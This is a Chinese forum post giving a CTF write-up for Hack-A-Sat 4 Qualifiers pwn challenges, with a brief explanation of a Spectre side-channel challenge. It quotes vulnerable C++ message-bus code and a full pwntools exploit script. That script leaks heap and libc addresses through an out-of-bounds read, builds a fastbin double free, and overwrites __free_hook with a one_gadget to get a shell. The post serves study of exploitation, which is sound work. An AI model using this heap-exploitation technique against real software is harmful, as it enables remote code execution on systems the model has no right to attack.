首页
社区
课程
招聘
[原创]Hack-A-Sat 4 Qualifiers pwn部分wp
发表于: 2023-4-6 22:39 18621

[原创]Hack-A-Sat 4 Qualifiers pwn部分wp

2023-4-6 22:39
18621

只解出来一道题,复现了一下幽灵攻击

题目描述

I hate embedded SWEs. Always talking about how you should preallocate all the memory you need in the data section if you're using a bus. This isn't the 90s anymore. The heap is bussin fr fr.

Don't trust me? Fine. You're more than welcome to test my spacebus implementation.

附件

是一个模拟消息队列的程序,有两个管道,分别用队列保存消息,每个节点表示一个消息。

在程序解析十六进制消息时,会将2个字符解析为一个字节中的十六进制数,如果输入的字符数量为奇数,节点中设置信息时CalcPayloadLen函数会保存原来的长度,在读取信息时会根据节点中保存的长度输出内存中的数据,可以越界读。

每个队列允许10个消息节点,在节点满时会直接delete节点数据所在的堆内存,而广播功能会复制节点数据后分别将消息放入两个队列,形成double free。

由于在输入数据时,使用string保存用户输入数据,则可以输入很多字符,string会自动成倍扩充内存长度,足够大时会将堆内存释放到unsrted bin,再利用越界读泄露libc地址。

可以将第一个队列填满后广播,则试图插入第一个队列会释放存放节点数据的堆内存,第二个队列会正常插入节点,由于tcache不能直接double free,在fastbin中构造A->B->A的经典double free姿势,申请tcache时会将double free的堆块放入tcache,改free_hook完成利用

题目描述

This satellite has a spectral imaging payload. We managed to get our hands on the binary for the sequencer software that handles command sequences to the payload.

The processor will be Intel Skylake or Cascade Lake.

附件

按照描述应该是一个卫星程序,题目附件中还有一个stars.csv文件,在程序开始时读入,应该是保存一些星球的数据

由于现代CPU为了提高效率会使用乱序发射指令,对于分支跳转指令有分支预测功能,即在执行指令时会预测之后会走的分支,提前(乱序)执行后面的代码,在真正执行到时若预测失败再将寄存器上下文信息复原,若预测成功则可以大大提高性能。

幽灵攻击是基于时间的侧信道攻击,首先要有array1[array2[i]]这样的访存语句(会对i进行一些数组越界检查),并且要清空所有的cache排除干扰,思路是提前执行一些指令去训练CPU的分支预测器,即多次循环都是满足检查条件正常访问内存,在最后攻击时访问目标不可访问的内存,而CPU乱序执行会按照之前的经验提前预测这次也可以访问,将此时的array1[array2[i]]读取出来,而实际上由于此时的i不符合检查,是不能访问的。

在真正执行到判断指令时发现预测失败,把寄存器等上下文都再恢复回原来的数据,执行正确的跳转,虽然内存和寄存器中都没有保存目标内存array1[array2[i]]中的数据,但是此时目标内存的数据由于被读取过,其所在的cache行已经被调到cache中,只要遍历[array1[i] for i in range(32, 127)],这时如果cache命中,访问的时间会很短,以此作为概率去猜测i越界时array2[i]中的值

逆向用到的一些编译器提供的函数:

void _mm_clflush(void const* p);清空p地址处所在的缓存

void _mm_mfence ();内存读写屏障,确保屏障前后的指令不会因为优化等原因乱序

逆向分析几个分支,可以大概猜到Scheduler类成员变量,在开始运行时读取flag放在0x1F516偏移处的内存中

分支跳转太多时编译器会编译跳转为jmp rax,IDA就无法识别跳转,通过汇编可以看到各个分支

20230406142214

当Timing为1时每次操作都会计时。

利用思路是

结合频道里赛后交流的佬们的思路写exp

Generator.py

Test.py

取3次时间的平均,在本地可以泄露出flag,有时候也会有一些噪音

 
 
SB_Msg* SB_Pipe::ParsePayload(const std::string& s, bool ishex, uint8_t pipe_id, uint8_t msg_id){
    if(s.length() == 0){
        return nullptr;
    }
 
    uint8_t* msg_s = AllocatePlBuff(ishex, s);
 
    if(ishex){
        char cur_byte[3] = {0};
 
        for(size_t i = 0, j = 0; i < CalcPayloadLen(ishex, s); i+=2, j++){
            cur_byte[0] = s[i];
            cur_byte[1] = s[i+1];
            msg_s[j] = static_cast<uint8_t>(std::strtol(cur_byte, nullptr, 16));
        }
    }
    else{
        for(size_t i = 0; i < CalcPayloadLen(ishex, s); i++){
            msg_s[i] = static_cast<uint8_t>(s[i]);
        }
    }
 
    SB_Msg* payload = new SB_Msg{
        msg_s,
        pipe_id,
        msg_id,
        CalcPayloadLen(ishex, s)
    };
 
    return payload;
}
SB_Msg* SB_Pipe::ParsePayload(const std::string& s, bool ishex, uint8_t pipe_id, uint8_t msg_id){
    if(s.length() == 0){
        return nullptr;
    }
 
    uint8_t* msg_s = AllocatePlBuff(ishex, s);
 
    if(ishex){
        char cur_byte[3] = {0};
 
        for(size_t i = 0, j = 0; i < CalcPayloadLen(ishex, s); i+=2, j++){
            cur_byte[0] = s[i];
            cur_byte[1] = s[i+1];
            msg_s[j] = static_cast<uint8_t>(std::strtol(cur_byte, nullptr, 16));
        }
    }
    else{
        for(size_t i = 0; i < CalcPayloadLen(ishex, s); i++){
            msg_s[i] = static_cast<uint8_t>(s[i]);
        }
    }
 
    SB_Msg* payload = new SB_Msg{
        msg_s,
        pipe_id,
        msg_id,
        CalcPayloadLen(ishex, s)
    };
 
    return payload;
}
if(payload->pipe_id == UINT8_MAX){
       if(this->msg_id_pipe_lens[payload->msg_id] <= this->msg_max_subs){
           bool copy = true;
           for(i = 0; i < this->msg_id_pipe_lens[payload->msg_id]; i++){
               cur_pipe_num = this->msg_id_pipe_map[payload->msg_id][i];
 
               if(i == (this->msg_id_pipe_lens[payload->msg_id]-1)){//如果是最后一个管道,则不copy
                   copy = false;
               }
 
               pipe = GetPipeByNum(cur_pipe_num);
               if(pipe->SendMsgToPipe(payload, copy) != SB_SUCCESS){
                   LOG_ERR("Unable to send payload to Pipe Num: %d\n", cur_pipe_num);
                   delete payload->data; //data大小可控 SB_Msg 0x30
                   ret = SB_FAIL;
               }
           }
           if(i == 0){
               LOG_ERR("No pipes subscribed to Msg ID: %d\n", payload->msg_id);
               delete payload->data;
               ret = SB_FAIL;
           }
           payload->data = nullptr;
       }
       else{
           LOG_ERR("Too many pipes subscribed to Msg ID: %d. Bailing out...\n", payload->msg_id);
           exit(-1);
       }
   }
if(payload->pipe_id == UINT8_MAX){
       if(this->msg_id_pipe_lens[payload->msg_id] <= this->msg_max_subs){
           bool copy = true;
           for(i = 0; i < this->msg_id_pipe_lens[payload->msg_id]; i++){
               cur_pipe_num = this->msg_id_pipe_map[payload->msg_id][i];
 
               if(i == (this->msg_id_pipe_lens[payload->msg_id]-1)){//如果是最后一个管道,则不copy
                   copy = false;
               }
 
               pipe = GetPipeByNum(cur_pipe_num);
               if(pipe->SendMsgToPipe(payload, copy) != SB_SUCCESS){
                   LOG_ERR("Unable to send payload to Pipe Num: %d\n", cur_pipe_num);
                   delete payload->data; //data大小可控 SB_Msg 0x30
                   ret = SB_FAIL;
               }
           }
           if(i == 0){
               LOG_ERR("No pipes subscribed to Msg ID: %d\n", payload->msg_id);
               delete payload->data;
               ret = SB_FAIL;
           }
           payload->data = nullptr;
       }
       else{
           LOG_ERR("Too many pipes subscribed to Msg ID: %d. Bailing out...\n", payload->msg_id);
           exit(-1);
       }
   }
 
#!/usr/bin/python3
 
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
 
def exp(ip, port):
    local=0
    binary_name='magic'
    libc_name='libc-2.31.so'
 
    libc=ELF("./"+libc_name)
    e=ELF("./"+binary_name)
 
    if local:
        p=process("./"+binary_name)
    else:
        p=remote(ip,port)
 
 
 
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
 
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sa=lambda a,b:p.sendafter(a,b)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
 
    def cho(choice):
        ru('>')
        sl(str(choice))
 
    def post(msg_id, pipe_id, x, msg):
        cho(1)
        ru('msg_id:')
        sl(str(msg_id))
        ru('pipe_id:')
        sl(str(pipe_id))
        ru('hex:')
        sl(str(x))
        ru('post on bus:')
        sl(msg)
 
    def handle0():
        cho(2)
 
    def handle1():
        cho(3)
 
    '''
    TEST_MSG=100,
    GET_STARS=101,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    NUM_STARS=102,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    BRIGHTEST_STARS=103,        // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    RESET=104,                  // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    CALIBRATE=105,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    QUATERNION=106              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    '''
 
 
    if 0==local:
        ru('Ticket please:\n')
        sl('ticket{}')
 
    post(100, 1, 1, '1'*0x781)
 
    handle1()
    ru('0x1 0 0 0 0 0 0 0 0x21')
 
    for i in range(23):
        ru(' ')
    heap=0
    for i in range(6):
        ru(' ')
        tmp = int(p.recv(4)[2:],16)
        heap = heap | (tmp<<(i*8))
    log.info(hex(heap))
 
 
    for i in range(10):
        ru(' ')
    libcbase=0
    for i in range(6):
        ru(' ')
        tmp = int(p.recv(4)[2:],16)
        libcbase = libcbase | (tmp<<(i*8))
    libcbase -= 0x1ecbe0
    log.info(hex(libcbase))
 
 
    post(101, 0, 0, '2'*0x68)
    for i in range(10):
        post(101, 255, 0, '2'*0x68)
 
 
    for i in range(9):
        handle1()
    for i in range(10):
        handle0()
    #tcache:abbbbbb
    #fastbin:bbbb...
    #h0:
    #h1:a
 
 
    for i in range(6):
        post(101, 0, 0, '2'*0x68)
    post(101, 1, 0, '2'*0x68)
    post(101, 0, 0, '2'*0x68)
    post(101, 0, 0, '2'*0x68)
    #tcache:
    #fastbin:bbbb...
    #h0:bbbbbbbb
    #h1:aa
 
    for i in range(7):
        handle0()
    handle1()
    handle0()
    handle1()
    #tcache:bbbbbbb
    #fastbin:ababbbb...
    #h0:
    #h1:
 
 
 
    free_hook = libc.symbols['__free_hook']+libcbase
  log.info(hex(free_hook))
    one = [0xe3afe, 0xe3b01, 0xe3b04]
 
    for i in range(7):
        post(101, 0, 0, '2'*0x68)
 
    post(101, 1, 0, p64(free_hook)+b'2'*0x60)
    post(101, 1, 0, b'2'*0x68)
    post(101, 1, 0, b'2'*0x68)
 
 
    post(101, 1, 0, p64(libcbase+one[1])+b'2'*0x60)
    p.interactive()
    return ''
 
 
if __name__ == "__main__":
 
    flag = exp('magic.quals2023-kah5Aiv9.satellitesabove.me', 5300)
#!/usr/bin/python3
 
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
 
def exp(ip, port):
    local=0
    binary_name='magic'
    libc_name='libc-2.31.so'
 
    libc=ELF("./"+libc_name)
    e=ELF("./"+binary_name)
 
    if local:
        p=process("./"+binary_name)
    else:
        p=remote(ip,port)
 
 
 
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
 
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sa=lambda a,b:p.sendafter(a,b)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
 
    def cho(choice):
        ru('>')
        sl(str(choice))
 
    def post(msg_id, pipe_id, x, msg):
        cho(1)
        ru('msg_id:')
        sl(str(msg_id))
        ru('pipe_id:')
        sl(str(pipe_id))
        ru('hex:')
        sl(str(x))
        ru('post on bus:')
        sl(msg)
 
    def handle0():
        cho(2)
 
    def handle1():
        cho(3)
 
    '''
    TEST_MSG=100,
    GET_STARS=101,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    NUM_STARS=102,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    BRIGHTEST_STARS=103,        // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    RESET=104,                  // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    CALIBRATE=105,              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    QUATERNION=106              // NOT IMPLEMENTED UNTIL TESTING COMPLETE
    '''
 
 
    if 0==local:
        ru('Ticket please:\n')
        sl('ticket{}')

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-4-9 13:09 被X1ng编辑 ,原因:
上传的附件:
收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 26399
活跃值: (63277)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
请将题目附件上传一下,方便设置精华优秀
2023-4-7 14:51
0
雪    币: 1241
活跃值: (462)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
Editor 请将题目附件上传一下,方便设置精华优秀
好嘞,已经上传了
2023-4-9 13:10
0
雪    币: 3004
活跃值: (30866)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-4-9 15:03
1
雪    币: 6962
活跃值: (11159)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
5
那个男人又回来了
2023-4-9 16:01
0
游客
登录 | 注册 方可回帖
返回
//